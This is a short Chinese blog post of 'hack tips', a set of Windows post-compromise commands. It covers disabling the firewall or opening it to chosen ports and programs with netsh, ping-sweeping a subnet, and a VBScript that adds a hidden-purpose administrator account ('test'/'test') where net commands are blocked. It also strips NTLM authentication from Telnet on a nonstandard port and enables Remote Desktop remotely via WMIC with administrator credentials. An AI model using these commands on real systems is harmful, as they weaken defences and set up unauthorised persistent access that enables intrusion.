Hack 小技巧...

互联网/新科技 beaji 2016-06-11 20:11 1810 0

 

1、:: 命令行下对防火墙的修改

netsh firewall add allowedprogram program = %systemroot%\system32\sessmgr.exe name=远程协助 mode=DISABLE
REM [去掉系统默认的远程协助]

netsh firewall set service type = REMOTEDESKTOP mode = ENABLE 
REM 允许远程桌面通过防火墙[3389]

netsh firewall set notifications mode = DISABLE     REM   关闭防火墙通知程序
netsh firewall set notifications mode = ENABLE      REM   开启防火墙通知程序
netsh firewall set opmode mode = DISABLE          REM   关闭防火墙 
netsh firewall set opmode mode = ENABLE exceptions = ENABLE      REM   开启防火墙 允许列外
netsh firewall set opmode mode = ENABLE exceptions = DISABLE     REM   开启防火墙 不允许列外

netsh firewall reset         REM   [恢复系统默认防火墙配置]
netsh firewall add portopening tcp 999 测试端口        REM   允许名为“测试端口”的 "999" 通过防火墙

netsh firewall add allowedprogram program = %systemroot%\测试.exe name=测试 mode=ENABLE
REM   允许路径为“%systemroot%\测试.exe”通过防火墙

更多详细可在系统"帮助和支持中心"输入 "Netsh"查看.

 

2、::命令行下扫描在线主机

for /L %I in (1,1,254) do @FOR /F "tokens=3 usebackq delims=: " %J IN (`ping -w 100 -n 1 192.168.0.%I^|findstr "Reply"`) DO @echo %J      
另開一CMD ,輸入Arp -g ,可看到部分防火牆後的主機 。

 

3、::net和net1无权限时添加用户

set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword "test"   '密码在这改
od.SetInfo               
Set of=GetObject(os & "/test", user)
oe.add   os & "/test" 
' 使用方法 cscript 1.vbs,添加用户test,密码test

4、::TELNET服务的设置[命令行]

Windows 2000:
====================================
tlntadmn <C:\1.txt

[C:\1.txt 内容]
------------------------------------------
5         '停止服务   先停
3         '显示 / 更改注册表设置 ...
7         'NTLM
y         '确定修改
0         '改为0
y         '确定保存    [去掉了NTLM验证]
8         'TelnetPort
y         '确定要修改?
999       '[你要改的端口号]
y         '确定
0         '退出该级菜单
4         '开始服务
0         '退出

Windows XP/Windows 2003:
====================================
sc stop tlntsvr
sc config tlntsvr start= auto
tlntadmn config port =999              '修改Telnet的端口
tlntadmn config sec = -ntlm            '去除Telnet的NTLM验证
sc start tlntsvr

 

一句话开3389

 

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1